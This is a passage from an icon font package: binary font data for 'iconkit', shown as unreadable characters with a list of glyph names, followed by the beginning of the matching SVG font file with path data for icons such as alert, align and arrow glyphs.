����UY}}YUU5KK5U�}�}}�(KjKKj��0�����+$,!54&#!"26=463!2265"&462264&"�}X��X}#K5V5K#�ذ}}�}��jKKjKUY}}YUU5KK5U�}�}}�(KjKKj����+$,B\!54&#!"26=463!2265"&462264&"54&'&#"265327>4&'&#"}X��X}#K5V5K#�ذ}}�}��jKKjK^B'9#��(88(
C^^CUY}}YUU5KK5U�}�}}�(KjKKj��UEy
I)U�
IRI
z�y
���$L\%#!"&546;264&+"3!126=4&"'54&+";1232?2654&#"%32654'&#"��*VV5JJ5�5J#<�8+J5��
*
�#
�E�
�U�*�#K5�V5KK5*��+�5K#�
*
������U
�
*�(>63211#"'%&47%13!265114&#!"#1463!211#!"&511�

��b�����*UK5�5JJ5�*5Kx�V�
,
#�S�V�5KK5�V5KK5���%.5462#!"&462"264&"264&"`�Š�a��a��‰�{XX{X�{XX{XW#a��‰�Š�a#WX{XX{XX{XX{**�/?632#"/#"&546;+32327654&#"32654'&#"�ʜ�*������
��	��	�L
�
s�4�I��*V�7632#"/#"&546;+32327>4&'&#"ʛ�*����

++
�	��	�L
�
s�YG:G

jXj
*'��6N632#"/#"&546;+32%327>&'&#"327>4&'&#"�ʜ�*���d/BB/

Z@@Z
�
,,�	��	�L
�
s�=.���.

Z��Z
�G:G

jXj
*��632#"/#"&546;+32�ʛ�*����	��	�L
�
s���V�
+Pt%".4>2#51264&#1"#"/&=462>32+"&/&54632;1267#"&5457>;12#"&/.#1#"]�[[���[[�]j��jj���3@
$kK0�0K���K0�1J�+[���[[���[U�Ԗ�Ԗ�n4@����0DD0��d�0DD0����.FGO>232654'."32'>232654'&$32>232654'."32&264&"�1���1;���;�L��K������8I8H
 fOe 
�+$$H)::)	1FF1
�B^^B
wTTw
��!!|##U���+ 0@3!2654&#!"463!21#!"&5	32654'&#"%327654&#"�V��VK5V5KK5��5K
��
���V5KK5��5KK5��0�*�#Fb62+!1"31!32654&'&#"3273264&+!"3!32#"'&#"62#!"3!264&#"32�
#���5K&"6D65KK5�	


5&&��>WW>>
�
$#K5A��KjK#


�&5%$X{X�U,�	327654&#"32654'&#"�
�����I�*���V-=".4>2%2>54& 3327654&#"32654'&#"_��~JJ~���~JJ~��h�g���g�hb�
���UJ~���~JJ~���~g�h���h�g�I�U���V'"&547>!2&7'!2!"&54?�
�#%P
�U#%�%�����%U�K�U���+%1=%".4>2#"/#'1264&#1"2654&"!264&#!"�h�gg�ѱf1#��+�8|��|{��Q##V�+f�ѱgg�h8�+��#1U���������##U���+$0%#".4>2#"'%1264&#1"!264&#!"�+�8h�gg�ѱf1#��s|��|{���#1f�ѱgg�h8�+��������##U���+)-6@IR%#"&46;5#1"&46235462+312"&535%54&"3#1"265!264&+264&"U�d�ddGUUGdd�d�d�ddGUUGdd�d���2F22#UU#22F2V2F22#UU#22F2�UGdd�d�d�ddGUUGdd�d�d�ddGU��VU#22F2��2F22##22F2V2F22#U'12#1!1".4>323#"&'.#"31!264&j��j��h�gg�hp�&6
�`|��|�Gdd�Ԗg�бg�jU\����d�d����+);!264&#!"!264&#!"3267454&#"3267454&#"���V��V�UU�UU�$$�$$0��U���+*7E754>2+"&=46;54."32+"&5%#";265%;126=4&#Us���sK5+5KK5U[���[U5KK5+5KU+�V+իt�ss�t��5KK5�5K+]�[[�]+K5�5KK5���������+#462265462"&5"&463!2#�$}�}$���*���X}}X+��{��{�$$�V3264&#!1"313#"3!264&+���������##��##��V%#1!"&5463!2!264&#!264&#!�-@}X��UY}'�'*5KK5��U5KK5���m4X}�}X&[�KjK��KjK���(2%1232+"&=!"&51"&463?46213!4&#/|5K��$��5K��#��K5��$��K6{#������*���V)O".4>2%2>54& 351"&46312#"&547>321#"&5467676=4&#"_��~JJ~���~JJ~��h�g���g�hf_2FdS"(-2#0UJ~���~JJ~���~g�h���h�g�##r/CdGL7

#2"*���VG	#"&5467>32"&47654&#"3267>54&#"3267654&#"u�wY%X}%�55K�w$
j��K56�%}Y$Y�x$3�{4|$���w%}X%Y�K55�x#
i
��65K�X%X}$�x%{4{�3$�
�����CO"&462&264&""&462&264&"!2#"#!"1"&'.+1"&4631323!21267!�jKKjK�##_jKKjK�##���HI,�>/JA``.J3�=���KjKKj
$$nKjKKj
$$���+<A.�#A.f�z3*���U"2'&54632763232#!"&5463"3!2654&#��
��
��5KK5�V5KK5������K5�+5KK5�5KU�+���FSf�%#"'."#"&5467>32'#"&547>7'#"&547>7'&54632"'1"&46312#.54632#"'&"#"&5467632#"'.#"�H8I e(

w)i!`&c%_
[#�

�� #
���

:0(��rUK�d�		 w
3

6
c==�

����
#�##�)
"kK
C]U���++AV+1"31326=14&"#"&=4&";264&546;264&+"2651%31226=4&+"+��5K#U�#K5����5K#���#K5��#K5����5K#���#K5����5K#U���+';O#"26=46;264&54&+";226326=4&"+";264&+"&=4&"U�5K$�DK5��$��5K$���K5��$+K5��$��5K$���K5��$�5K$���[%4"'.54?67632!67632%	/#!"&/�9
4i^_h6�x��4QQ
��
QQSK	%�B	
��%	
���&
C��6�������+)=KXd%26=3264&#!"3546232#!1"&46312653264&#!"37"&514621"&5462"&5462+#U��$U��#V��##V$$U##���##���##���##�+������*���V&>2#"/#"&545'&5467%�z
�/	��	/�
>		�(
������
(���+>321"'.54632"s/s�0"��$��"0�s/s"�"0�s/s"��y"s/s�0"��+!-!!#!"&5#"&=463!2#%!5"&46;2#U�V�V�*���V���+���Հ���$$*���V+954627632"/&54632".4>2%2>54& 3�$b�$�쾮~JJ~���~JJ~��h�g���g�h<��b���
J~���~JJ~���~g�h���h�g*���V+9"&=#"&54?62#"'".4>2%2>54& 3+$b
�$�.��~JJ~���~JJ~��h�g���g�h���b
���IJ~���~JJ~���~g�h���h�g*���V+932+#"/&4?632".4>2%2>54& 3���b��A��~JJ~���~JJ~��h�g���g�h�$b�$���J~���~JJ~���~g�h���h�g*���V+9#"&46;'&54632#"&547".4>2%2>54& 3D��b
��}��~JJ~���~JJ~��h�g���g�hU$b
�$���J~���~JJ~���~g�h���h�g�+#%"&5462"&5462"&5462+$$�$$�$$+��V��V�+#%"&5462"&5462"&=462+$$$$�$$+��V��V�*���+6A!24&#"&54&#!"&5463!2>;!2#!1""&5467#">31!�.'K5�"2#��4Yd,��#2"/'U�5K2���5K�#2�.($2��2#/N��K5�?	*U��)&54632#"&54?!#"'&47632�
�
�$�
�
b
�$���$U���V(42>= '4>2".5 '2>52>4."�Y���Yy�H�t��tt��tx�FxY���Y�R��YY���YY?�''�?�4N((N4��4N((N4V�i??�(('#((#'��+�+3=32+32+"&=#"&46;5#"&46;54623264&#'5#1"31+��@OqqO@$��@OqqO@$@,>>,�@,>>,�#�q�p��#�q�p���?X>V�?X>*���+1G32+"&=#"&46;5462!2#!"&546;12#"3!2654&#!1"&'+UU$UU$?i5KK5�V5KK5�	:����	U#UU#VK5�*5KK5V5KC���*���V,04:?IS32+#!"&5#"&=46;&54631276312!5)!!!1#!!&#";&264&#"Gd+�V+dW>wFGv>W��U�U��UV�V�"/D&&�	&&D/	������">W��W>"s����UU��U���U&4&&4&U*���++7!2#!"&546;12#"3!2654&#!1"&'"&463!2#�i5KK5�V5KK5�	:����	2�K5�*5KK5V5KC�����##��V'"&'+"&46;2>26;2+"264&"�{�{��{�{����jKKjKVGddG$GddG$UKjKKjU���+&.6%#"&'467462>7.546712264&"264&"�a7FdK5$'Hq�4IcGGdL6	m��F22F2�2F22F2W6KdF7a
��%
G'�qa6FddG7a`�m�2F22F��2F22FU���+/7?.546712"&54&+"&46;21"&546264&"264&"�4KdFGdK5$��5K4KdFGdK=F22F2�2F22F2�`7FddG7a
�%%$K5��`7FddG7a�2F22F�2F22FU���+'/7%.'"&5.546712>321#"&'264&"264&"ZN�/$4KdFGdJ4�qa6FddG7a�F22F2�2F22F2Wc?��`7FddG6aq�4IcGGdL6,2F22F�2F22F*���+->BJV2+"&54&"+1"&544&"34623312+"&54636"&462'1264&#1"/���#�}�}VKjKU�ի�<UjKKjK�+�|��+��+|��X}}X�5KK5��U�U��KjKKj
##*�!+7C1#!"&5147>3!2'.#!"!3!265%1"&4631231"&46312�K5�V5K�C!�%=(u�ju������	�5KK5	%*&!���

�V�+####���V"&462&"&462"&462#1#F22F22F22F2U#22F22#+2F22F�2G22G�y2G22G2*��"&462"&462"&462#F22F2�G22G2�yG22G2+2F22F22F22F22F22F�'1"&4632"&54.1"&46312"&54."&462#�t�r#[�\�
�s#f��X#22G22$�#r�t\�[+#s����f�U2G22G2*���V632'%&67%
	���	:������y��sS��q�:	��s��������$-N%#"/#"'&'&'&547'&54632>7#"&546?621#"&54767�
�)�3	
	A:�x
��CL)j!�x�U
��
�)`(3��+

x
�f:+Q!n-
3���20$%
U���V"8#!"&514?63!2'!!3!265462"&51462126�	K5��5K	�

	@�*@��VV�#}�}#KjK���5KK5U��UUV���X}}X5KK*�� &54632#"&54?"&463!2#�
�
�U��
#�
�##����++05=E%"&547!"&547#1"&5463!232#5!!35'264&"264&"�X{X��X{X9���
����+U�g��5&&5%P5%%5&�!>XX>!!>XX>!+��
����+��g�+%5&&5%%5&&5����� $'?U	&54632"'&7!"&54?!'7#"&54?>#"&5457"&46;12#"&54?��
*U+#
���#%��
�<}��_�

h#
��
h

-(
������
#
	�%�=��лs�}�;
�#|6��.[os#"'"'&'.'&545&7>7676323.'&'&#"3236767>765454'#"&5146327'7�	C%-�aaG>�-)<
	C%-�abI<�/%B	S$�__G<�#$�`_G<�#�

�	

	��ttxqrts%D=,psvw%D
D&		jkni
	knkh�u���B�B�&$w���			H-	�	�	�iconkiticonkitMediumMediumFontForge 2.0 : iconkit : 14-11-2018FontForge 2.0 : iconkit : 14-11-2018iconkiticonkitVersion 1.0Version 1.0iconkiticonkit[	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|�}~����������������������������������������������������������������������������������������[����������������������������������������	

alert-octagonalert-circleactivityalert-trianglealign-centerairplay
align-justify
align-leftalign-rightarrow-down-leftarrow-down-rightanchoraperture
arrow-leftarrow-right
arrow-down
arrow-up-leftarrow-up-rightarrow-upaward	bar-chartat-sign
bar-chart-battery-chargingbell-offbattery	bluetoothbellbook	briefcase
camera-offcalendarbookmarkboxcameracheck-circlecheckcheck-squarecastchevron-downchevron-left
chevron-right
chevron-up
chevrons-downchevrons-rightchevrons-up
chevrons-leftcircle	clipboardchromeclockcloud-lightning
cloud-drizzle
cloud-rain	cloud-offcodepen
cloud-snowcompasscopycorner-down-rightcorner-down-leftcorner-left-downcorner-left-upcorner-up-leftcorner-up-rightcorner-right-downcorner-right-upcpucredit-card	crosshairdiscdeletedownload-clouddownloaddropletedit-editedit-1
external-linkeyefeatherfacebook
file-minuseye-offfast-forward	file-textfilmfile	file-plusfolderfilterflagglobegridhearthomegithubimageinboxlayersinfo	instagramlayoutlink-	life-buoylinklog-inlistlocklog-outloadermail	maximize-mapmap-pinmenumessage-circlemessage-square	minimize-mic-offminus-circlemicminus-squaremoonmonitor
more-verticalmore-horizontalmovemusicnavigation-
navigationoctagonpackagepause-circlepause
phone-callphone-forwardedphone-missed	phone-offphone-incomingphonephone-outgoing	pie-chartplay-circleplayplus-squareplus-circlepocketprinterpowerradiorepeatrefresh-ccwrewind
rotate-ccw
refresh-cw	rotate-cwsavesearchserverscissorsshare-shareshieldsettings	skip-backshufflesidebarskip-forwardslack
smartphonesquarespeakerstarstop-circlesunsunrisetablettagsunsettargetthermometer	thumbs-upthumbs-downtoggle-lefttoggle-righttrash-trashtrending-up
trending-downtriangletypetwitteruploadumbrellaupload-cloudunlock
user-check
user-minus	user-plususer-xuserusers	video-offvideo	voicemailvolume-xvolume-volume-1volumewatchwifix-squarewindx-circlezapzoom-inzoom-outcommandcloudhash
headphones	underlineitalicboldcrophelp-circle	paperclip
shopping-carttvwifi-offminimizemaximizegitlabslidersstar-onheart-onarchivearrow-down-circlearrow-up-circlearrow-left-circlearrow-right-circlebar-chart-line-bar-chart-line	book-opencodedatabasedollar-signfolder-plusgiftfolder-minus
git-commit
git-branchgit-pull-request	git-mergelinkedin
hard-drivemore-vertical-more-horizontal-rsssend
shield-offshopping-bagterminaltruckzap-offyoutube���=���a��a�fonts/iconkit.svg000064400001176717151677247160010122 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg>
<metadata>
Created by IconKit
</metadata>
<defs>
<font id="iconkit" horiz-adv-x="1024" >
  <font-face 
    font-family="iconkit"
    font-weight="500"
    font-stretch="normal"
    units-per-em="1024"
    panose-1="2 0 6 3 0 0 0 0 0 0"
    ascent="896"
    descent="-128"
    x-height="792"
    bbox="-0.516154 -128.498 1025.43 896.525"
    underline-thickness="0"
    underline-position="0"
    unicode-range="U+0078-E92A"
  />
    <missing-glyph />
    <glyph glyph-name="x" unicode="x" horiz-adv-x="1001" 
d="M281 543q-27 -1 -53 -1h-83q-18 0 -36.5 -6t-32.5 -18.5t-23 -32t-9 -45.5v-76h912v41q0 16 -0.5 30t-0.5 18q0 13 -5 29t-17 29.5t-31.5 22.5t-49.5 9h-133v-97h-438v97zM955 310v-52q0 -23 0.5 -52t0.5 -58t-10.5 -47.5t-26 -30t-33 -16t-31.5 -4.5q-14 -1 -29.5 -0.5
t-29.5 0.5h-32l-45 128h-439l-44 -128h-29h-34q-20 0 -45 1q-25 0 -41 9.5t-25.5 23t-13.5 29.5t-4 30v167h911zM163 247q-12 0 -21 -8.5t-9 -21.5t9 -21.5t21 -8.5q13 0 22 8.5t9 21.5t-9 21.5t-22 8.5zM316 123q-8 -26 -14 -48q-5 -19 -10.5 -37t-7.5 -25t-3 -15t1 -14.5
t9.5 -10.5t21.5 -4h37h67h81h80h64h36q23 0 34 12t2 38q-5 13 -9.5 30.5t-9.5 34.5q-5 19 -11 39h-368zM336 498v228q0 11 2.5 23t10 21.5t20.5 15.5t34 6h188q31 0 51.5 -14.5t20.5 -52.5v-227h-327z" />
    <glyph glyph-name="alert-octagon" unicode="&#xe81b;" 
d="M128 542.976v-317.952l225.024 -225.024h317.952l225.024 225.024v317.952l-225.024 225.024h-317.952zM335.36 853.333h353.28q17.6716 -0.00372314 30.1653 -12.5013l250.027 -250.027q12.4975 -12.4938 12.5013 -30.1653v-353.28
q-0.00390625 -17.6716 -12.5013 -30.1653l-250.027 -250.027q-12.4938 -12.4976 -30.1653 -12.5013h-353.28q-17.6716 0.00377655 -30.1653 12.5013l-250.027 250.027q-12.4975 12.4938 -12.5013 30.1653v353.28q0.00377274 17.6716 12.5013 30.1653l250.027 250.027
q12.4937 12.4975 30.1653 12.5013zM512 213.333zM469.333 213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM469.333 554.667v-170.667
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="alert-circle" unicode="&#xe81c;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 554.667v-170.667
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM512 213.333zM469.333 213.333q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="activity" unicode="&#xe81d;" 
d="M424.491 781.483q-9.728 29.184 -40.4907 29.184t-40.4907 -29.184l-118.229 -354.816h-139.947q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h170.667h0.0102844q12.7347 0 24.5955 8.5509
q11.8607 8.55087 15.8849 20.6331l87.5093 262.571l215.509 -646.571q9.72797 -29.184 40.4907 -29.184q30.7626 0 40.4907 29.184l118.229 354.816h139.947q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-170.667h-0.0102539
q-12.7347 0 -24.5955 -8.5509q-11.8608 -8.5509 -15.8849 -20.6331l-87.5093 -262.571z" />
    <glyph glyph-name="alert-triangle" unicode="&#xe81e;" 
d="M402.432 753.237q15.4774 25.5634 47.5808 43.6555t61.9872 18.092q29.8837 0 61.9872 -18.092t47.5808 -43.6555l361.728 -603.904q17.1508 -29.7037 17.1508 -64.0034q0 -52.6043 -37.2286 -90.1073q-37.2287 -37.503 -89.8315 -37.8893h-723.243
q-52.4119 0.573734 -89.5054 38.0755q-37.0935 37.5018 -37.0935 89.9168q0 34.6727 17.5003 64.605zM114.603 106.667q-5.72215 -9.90473 -5.72215 -21.3436q0 -17.2815 12.2277 -29.7799q12.2277 -12.4983 29.5051 -12.8766h722.304q17.4709 0.190895 29.8358 12.6915
q12.3647 12.5006 12.3647 29.9726q0 11.0669 -5.37915 20.7385l-361.259 603.093q-5.15723 8.5061 -15.8472 14.5261t-20.6374 6.02002q-9.92026 0 -20.595 -5.995t-15.8377 -14.4658zM512 170.667zM469.333 170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013
t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM469.333 512v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653
t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="align-center" unicode="&#xe81f;" 
d="M768 512h-512h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h512q17.6613 0.00274658 30.1608 12.5041q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4995 12.5013 -30.1608 12.5039zM896 682.667
h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768q-17.6613 -0.00271606 -30.1607 -12.5041
q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM768 170.667h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653
t30.1653 -12.5013h512q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="airplay" unicode="&#xe820;" 
d="M213.333 213.333h-42.6667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v426.667q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h682.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-426.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-42.6667
q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.504h42.6667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v426.667q0 52.9921 -37.504 90.496t-90.496 37.504h-682.667q-52.992 0 -90.496 -37.504
q-37.504 -37.504 -37.504 -90.496v-426.667q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h42.6667q17.6613 0.00270081 30.1607 12.504t12.4994 30.1626t-12.4994 30.1626t-30.1607 12.5041zM512 189.355l-122.24 -146.688h244.48zM725.333 -42.6667h-426.667
q-17.6573 0.0066185 -30.154 12.508q-12.4966 12.5013 -12.4966 30.1587q0 15.4417 9.88266 27.3067l213.333 256q12.793 15.3408 32.768 15.3408q19.9749 0 32.768 -15.3408l213.333 -256q9.88269 -11.865 9.88269 -27.3067q0 -17.6574 -12.4966 -30.1587t-30.1532 -12.508
z" />
    <glyph glyph-name="align-justify" unicode="&#xe821;" 
d="M896 512h-768h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h768q17.6613 0.00274658 30.1607 12.5041t12.4995 30.1626q0 17.6613 -12.4995 30.1627q-12.4995 12.5013 -30.1607 12.5039zM896 682.667h-768
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768q-17.6613 -0.00271606 -30.1607 -12.5041
q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM896 170.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653
t30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="align-left" unicode="&#xe822;" 
d="M725.333 512h-597.333h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h597.333q17.6613 0.00274658 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1627q-12.4994 12.5013 -30.1607 12.5039z
M896 682.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333h-768
q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM725.333 170.667h-597.333
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="align-right" unicode="&#xe823;" 
d="M896 512h-597.333h-0.00653076q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h0.00653076h597.333q17.6613 0.00274658 30.1607 12.5041t12.4995 30.1626q0 17.6613 -12.4995 30.1627
q-12.4995 12.5013 -30.1607 12.5039zM896 682.667h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1654 12.5013zM896 341.333
h-768q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1627t30.1607 -12.504h768q17.6613 0.00268555 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.5042zM896 170.667h-597.333
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013z" />
    <glyph glyph-name="arrow-down-left" unicode="&#xe824;" 
d="M737.835 670.165l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l512 512q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256z
M298.667 512q0 17.664 -12.5013 30.1653t-30.1654 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h384q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333z" />
    <glyph glyph-name="arrow-down-right" unicode="&#xe825;" 
d="M225.835 609.835l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411zM384 170.667
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h384q17.664 0 30.1653 12.5013t12.5013 30.1653v384q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-341.333z" />
    <glyph glyph-name="anchor" unicode="&#xe826;" 
d="M554.667 2.34667q126.195 14.1451 225.518 113.468q99.323 99.3231 113.468 225.519h-82.9866q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653
q-6.10352e-05 -95.4833 -37.1695 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.397 -37.1694q-95.4834 0 -182.397 37.1694q-86.9139 37.1694 -149.756 100.011q-62.8417 62.8417 -100.011 149.756
q-37.1695 86.9139 -37.1694 182.397q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-82.9867q14.1451 -126.195 113.468 -225.518q99.3231 -99.3231 225.518 -113.468
v552.32q0 17.664 12.5013 30.1653t30.1653 12.5013q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-552.32zM512 512h-0.0130615q-70.6559 0 -120.661 50.0054q-50.0053 50.0054 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h0.0130615
q70.6506 -0.00537109 120.652 -50.0107t50.0015 -120.656t-50.0015 -120.656q-50.0015 -50.0054 -120.652 -50.01zM512 597.333q35.3281 0 60.3307 25.0026t25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3306
q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" />
    <glyph glyph-name="aperture" unicode="&#xe827;" 
d="M456.533 -82.0907q-111.336 13.2893 -221.472 95.5981q-110.137 82.3088 -154.421 185.319q-15.7211 36.6004 -26.8474 90.6951q-11.1263 54.0947 -11.1263 93.9286l0.000324249 0.549561q0 152.559 89.3867 275.584q2.03531 3.35077 4.65067 6.27197
q58.1998 77.6436 168.064 132.594t206.899 54.9507q25.0482 0 49.9547 -2.67023q113.129 -12.06 224.99 -94.5688q111.862 -82.5088 156.791 -187.031q37.9307 -88.129 37.9307 -185.131l0.000610352 -0.750641q0 -62.9084 -26.1905 -143.435
q-26.1905 -80.5263 -63.1968 -131.399q-2.03546 -3.35104 -4.6507 -6.272q-58.2 -77.6436 -168.064 -132.594t-206.899 -54.9507q-25.0486 0 -49.9547 2.67025q-2.92337 0.119843 -5.80267 0.639999zM441.813 6.4l94.848 164.267h-343.979
q37.2406 -55.7356 110.236 -103.866q72.9953 -48.1301 138.895 -60.4009v-0.000110149zM537.131 0.810666q66.9302 4.32825 145.101 43.5074q78.1708 39.1792 121.694 90.2099l-94.8054 164.139l-61.44 -106.24q-0.209839 -0.365189 -0.426697 -0.725327l-110.08 -190.848z
M659.84 383.957l-73.8987 128.043h-147.883l-73.8987 -128l73.8987 -128h147.883l73.8987 128v-0.0429993zM746.539 404.48l109.952 -190.336q39.5093 79.9515 39.5093 169.856q0 66.2804 -21.8453 128h-189.696l61.056 -105.728q0.533508 -0.883087 1.02393 -1.79199z
M149.845 256h189.696l-61.056 105.728q-0.534332 0.884827 -1.02399 1.79199l-109.952 190.336q-16.3571 -33.1335 -27.9334 -82.7343t-11.5764 -86.5517l0.000427246 -0.570068q0 -66.2804 21.8453 -128zM220.075 633.472l94.8053 -164.139l61.44 106.24
